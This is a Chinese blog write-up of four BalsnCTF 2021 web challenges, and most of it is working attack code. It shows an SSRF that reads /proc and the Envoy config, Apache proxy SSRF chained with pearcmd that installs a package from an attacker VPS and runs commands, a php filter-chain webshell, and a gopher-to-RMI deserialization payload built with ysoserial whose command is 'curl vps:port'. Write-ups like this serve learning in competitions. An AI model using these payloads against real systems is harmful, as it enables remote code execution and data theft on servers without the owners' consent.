BalsnCTF2021

2021-12-20 10:12:00
ctf - wp - balsn

BalsnCTF2021

proxy

Never Trust, Always Verify.

http://proxy.balsnctf.com

Flag is not a local file, you don't need to use any fuzzing tools.

有个curl,先读了下源码:view-source:http://proxy.balsnctf.com/query?site=file:///proc/self/cwd/main.py

import urllib.request

from flask import Flask, request

app = Flask(__name__)


@app.route("/meow")
def meow():
    return 'meow?'


@app.route("/query")
def query():
    site = request.args.get('site')
    text = urllib.request.urlopen(site, timeout=5).read()
    return text


@app.route("/")
def hello_world():
    return "/query?site=[your website]"


if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=8000)

但是没有什么用,根据题目描述flag不在本地文件,读了下环境变量读到了某些东西:

/proc/self/environ
CHALL_PORT_8000_TCP_ADDR=10.44.0.53
CHALL_SERVICE_PORT_HTTP=8000
KUBERNETES_PORT=tcp://10.44.0.1:443
KUBERNETES_SERVICE_PORT=443
SECRET_SERVICE_20A91E_PORT_39307_TCP=tcp://10.44.3.240:39307
CHALL_PORT_8000_TCP_PORT=8000
HOSTNAME=chall-v1-76d9c69984-2rgpn
CHALL_PORT_8000_TCP_PROTO=tcp
PYTHON_PIP_VERSION=21.2.4
SHLVL=1
HOME=/home/gg
SECRET_SERVICE_20A91E_SERVICE_PORT_HTTP=39307
CHALL_SERVICE_HOST=10.44.0.53
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
CHALL_PORT_8000_TCP=tcp://10.44.0.53:8000
CHALL_SERVICE_PORT=8000
SECRET_SERVICE_20A91E_SERVICE_HOST=10.44.3.240
CHALL_PORT=tcp://10.44.0.53:8000
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/3cb8888cc2869620f57d5d2da64da38f516078c7/public/get-pip.py
KUBERNETES_PORT_443_TCP_ADDR=10.44.0.1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
SECRET_SERVICE_20A91E_SERVICE_PORT=39307
SECRET_SERVICE_20A91E_PORT=tcp://10.44.3.240:39307
KUBERNETES_PORT_443_TCP_PROTO=tcp
LANG=C.UTF-8
PYTHON_VERSION=3.10.0
PYTHON_SETUPTOOLS_VERSION=57.5.0
SECRET_SERVICE_20A91E_PORT_39307_TCP_ADDR=10.44.3.240
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.44.0.1:443
SECRET_SERVICE_20A91E_PORT_39307_TCP_PORT=39307
KUBERNETES_SERVICE_HOST=10.44.0.1
PWD=/opt/workdir
PYTHON_GET_PIP_SHA256=c518250e91a70d7b20cceb15272209a4ded2a0c263ae5776f129e0d9b5674309
SECRET_SERVICE_20A91E_PORT_39307_TCP_PROTO=tcp

发现是有一个SECRET_SERVICE,位于39307端口,不过目前无法访问到。

通过脚本获取/proc/self/net/tcp信息:

import socket, struct
import requests

def hex2ip(hex_ip):
    addr_long = int(hex_ip,16)
    hex(addr_long)
    hex_ip = socket.inet_ntoa(struct.pack("<L", addr_long))
    return hex_ip

def parse(addr1, addr2):
    ip1 = addr1.split(':')[0]
    ip1 = hex2ip(ip1)
    port1 = str(int(addr1.split(':')[1], 16))

    ip2 = addr2.split(':')[0]
    ip2 = hex2ip(ip2)
    port2 = str(int(addr2.split(':')[1], 16))
    # if ip1 == "127.0.0.1" and ip2 == "127.0.0.1":
    #     return
    print(f"{ip1}:{port1} " + "-> " + f"{ip2}:{port2}")

if __name__ == '__main__':
    res = requests.get("http://proxy.balsnctf.com/query?site=file:///proc/self/net/tcp")
    for line in res.text.split('\n')[1:]:
        if len(line) > 1:    
            addr1 = line.strip().split(' ')[1]
            addr2 = line.strip().split(' ')[2]
            parse(addr1, addr2)

发现15000端口有一个envoy admin。

http://proxy.balsnctf.com/query?site=http://localhost:15000/config_dump

拿到SECRET_SERVICE的具体地址:

outbound|39307|v1|secret-service-20a91e.default.svc.cluster.local

访问提示flag在/flag

https://www.paloaltonetworks.com/blog/2019/12/cloud-envoy-vulnerabilities/

提到了可以利用空格来绕过解析,经过测试有两种payload:

http://secret-service-20a91e.default.svc.cluster.local:39307//flag
http://secret-service-20a91e.default.svc.cluster.local:39307/flag%250a

0linephp

2linephp is still too hard for me :(

Try this even more easier challenge - 0linephp

(The server resets occasionally)

http://0linephp0.balsnctf.com

http://0linephp1.balsnctf.com

Attachment:

- 0linephp.zip

没有代码,给了docker。

//apache/proxy-php.conf
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_fcgi_module modules/mod_proxy_fcgi.so

DirectoryIndex disabled
DirectoryIndex index.php
ProxyErrorOverride on

RewriteEngine on
RewriteCond %{QUERY_STRING} php
RewriteRule ^(.*)$ /404

ProxyPassMatch ^/(.*\.php(/.*)?)$ "fcgi://php:9000/var/www/html/" noquery nocanon disablereuse=on

根据配置文件知道用了apache proxy,利用前段时间的apache proxy ssrf+pearcmd getshell,直接截队友的payload了:

curl 'http://0linephp0.balsnctf.com/index.php/unix:'$(php -r 'echo str_repeat("a",5000);')'|fcgi://PHP:9000/usr/local/lib/php/pearcmd.php?+install+--installroot=/tmp/+http://my-vps:7777/meow-0.0.1.tgz'

curl 'http://0linephp0.balsnctf.com/index.php/unix:'$(php -r 'echo str_repeat("a",5000);')'|fcgi://PHP:9000/tmp/usr/local/lib/php/meow.php?cmd=cat+/flag'

2linephp

0CTF 1linephp is too hard.

Try this super easy warmup challenge - 2linephp

http://2linephp1.balsnctf.com:50080/ http://2linephp2.balsnctf.com:50080/

Attachment:

- 2linephp.zip

给了代码和一个phpinfo:

<?php ($_=@implode($_GET)) && (stripos($_,"zip") !== FALSE || stripos($_,"p:") || stripos($_,"s:")) && die("Bad hacker!");
($_=@$_GET['kaibro'].'.php') && @substr(file($_)[0],0,5) === '<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.php');

同样是pearcmd的考点,主要用编码绕一下过滤,还是掏出队友的payload:

curl 'http://2linephp2.balsnctf.com:50080/?+config-create+/&eHh4eD4qKipQRDl3YUhBZ2MzbHpkR1Z0S0NSZlIwVlVXMk50WkYwcE96czdQejRn<&kaibro=/usr/local/lib/php/pearcmd&/<meow>+/tmp/meoww.php'

curl 'http://2linephp2.balsnctf.com:50080/?kaibro=php%3a//filter/read=string.strip_tags%7Cconvert.base64-decode%7Cstring.strip_tags%7Cconvert.base64-decode/resource=/tmp/meoww&cmd=/readflag'

4pple Music

pentesting

Someone hacked my 4pple music server and stole my secret flag from flagserver.local in the intranet.Can you help me investigate how he did it O_o?http://4pplemusic1.balsnctf.com:28880/

http://4pplemusic2.balsnctf.com:28880/

抓包发现index存在着ssrf:

http://4pplemusic1.balsnctf.com:28880/index.php
post:
url=file:///etc/passwd

根据hint需要攻击flagserver.local

于是对flagserver.local进行端口扫描,经过漫长的等待拿到了端口号:34572

http://flagserver.local:34572/

部署了一个applet:

<HTML>
<HEAD>
<TITLE>%APPLICATION%</TITLE>
</HEAD>

<BODY scroll="no" leftmargin="0" topmargin="0" rightmargin="0" bottommargin="0" marginwidth="0" marginheight="0">

<OBJECT
    NAME = "%APPLICATION%"
    classid = "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93"
    codebase = "http://java.sun.com/products/plugin/autodl/jinstall-1_4_2_05-windows-i586.cab#Version=1,4,1,3"
    WIDTH = 100% HEIGHT = 100% >
    <PARAM NAME=CODE VALUE=com.ibm.sysmgt.raidmgr.mgtGUI.Launch>
    <PARAM NAME="type" VALUE="application/x-java-applet;jpi-version=1.4.2_05">
    <PARAM NAME="scriptable" VALUE="false">
    <PARAM NAME="cache_option" VALUE="Plugin">
    <PARAM NAME="cache_archive" VALUE="RaidManS.jar">
    <PARAM NAME="progressbar" value="true">
    <PARAM NAME="boxmessage" value="Loading %APPLICATION% ...">
    <PARAM NAME="progresscolor" value="blue">
    <PARAM NAME="image" value="help/scan_l.gif">
    <PARAM NAME="bgColor" VALUE="FFFFFF">
    <COMMENT>
    <EMBED 
            NAME= "StorageManager"
            type = "application/x-java-applet;jpi-version=1.4.2_05" 
            CODE = com.ibm.sysmgt.raidmgr.mgtGUI.Launch
            WIDTH = 100%
            HEIGHT = 100% 
            scriptable="false" 
            pluginspage="http://java.sun.com/getjava"
            image="/help/scan_l.gif"
            cache_option="Plugin"
            cache_archive="RaidManS.jar"
            progressbar="true"
            boxmessage="Loading %APPLICATION%..."
            progresscolor="blue"
            bgColor="FFFFFF">
        <NOEMBED>
        Your browser can not load the Sun Java Applet Plugin...
        </NOEMBED>
    </EMBED>
    </COMMENT>
</OBJECT>


</BODY>
</HTML>

访问http://flagserver.local:34572/RaidManS.jar拿到了jar包,根据applet找到入口后本地启动起来:

java -cp RaidManS.jar com.ibm.sysmgt.raidmgr.mgtGUI.Launch

image-20211122110543237

发现连接时默认是34571,随便在vps上监听了个端口发现收到了:

image-20211122110631663

目测34571是个rmi端口,本地起nmap扫一下也发现确实如此。

image-20211122111007541

题目用的低版本jdk,出题人说是6,因此攻击方式不少,不过主要是需要解决gopher打rmi的问题,首先可以通过发现RMI头来探测:

url=gopher://flagserver.local:34571/_%25%34%61%25%35%32%25%34%64%25%34%39%25%30%30%25%30%32%25%34%62%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30

虽然我抓流量一直没抓到这个头部,不过根据协议分析可以理解这一个头部,首先是探测头如下:

4a  52  4d  49  00  02  4b  00  00  00  00  00

在攻击DGC时抓到的头部如下:

4a  52  4d  49  00  02  4c  50  ac  ed  00  05

协议如下:

0x4a 0x52 0x4d 0x49 Version Protocol
Version:
    0x00 0x01
Protocol:
    StreamProtocol 0x4b
    SingleOpProtocol 0x4c
    MultiplexProtocol 0x4d
Messages:
    Message
    Messages Message
        Message:
        Call 0x50 CallData
        Ping 0x52
        DgcAck 0x54 UniqueIdentifier

0x4a 0x52 0x4d 0x49是固定格式,随后的02和4c也不难理解,主要在于message,全部置为0x00,测试用50去发包时会一直等不到响应,猜测是因为服务器在接受到call后在等待我们这边继续发包,而但我们只发送了一部分的包,而将其后全部置为00此时服务器会马上响应。(仅仅是我的见解,不一定正确)

因为是jdk6,所以我们可以选择用jdk7u21的链来打,并且JDK6是在6u141后才有JEP,所以可以直接打DGC,本地起一个rmi,拿yso的JRMPClient打本地抓流量或者把Socket流改成FileOutputStream写到文件里面:

    public static final void main ( final String[] args ) {
        String payloadType = "Jdk7u21";
        String payloadArg = "curl vps:port";
        Object payloadObject = ObjectPayload.Utils.makePayloadObject(payloadType, payloadArg);
        String hostname = "127.0.0.1";
        int port = 1099;
        try {
            System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
            makeDGCCallToFile(payloadObject);
        }
        catch ( Exception e ) {
            e.printStackTrace(System.err);
        }
        ObjectPayload.Utils.releasePayload(payloadType, payloadObject);
    }

    public static void makeDGCCallToFile (Object payloadObject ) throws IOException, UnknownHostException, SocketException {
        FileOutputStream fos = new FileOutputStream(new File("poc.txt"));

        DataOutputStream dos = null;
        try {
            dos = new DataOutputStream(fos);

            dos.writeInt(TransportConstants.Magic);
            dos.writeShort(TransportConstants.Version);
            dos.writeByte(TransportConstants.SingleOpProtocol);

            dos.write(TransportConstants.Call);

            @SuppressWarnings ( "resource" )
            final ObjectOutputStream objOut = new MarshalOutputStream(dos);

            objOut.writeLong(2); // DGC
            objOut.writeInt(0);
            objOut.writeLong(0);
            objOut.writeShort(0);

            objOut.writeInt(1); // dirty
            objOut.writeLong(-669196253586618813L);

            objOut.writeObject(payloadObject);

            fos.flush();
        }
        finally {
            if ( dos != null ) {
                dos.close();
            }
        }
    }

编一下码:

cat poc.txt|xxd -plain|sed -r 's/(..)/%\1/g'|tr -d '\n'

放burp里面再编一次然后就顺利getshell了。



本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019-2020 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号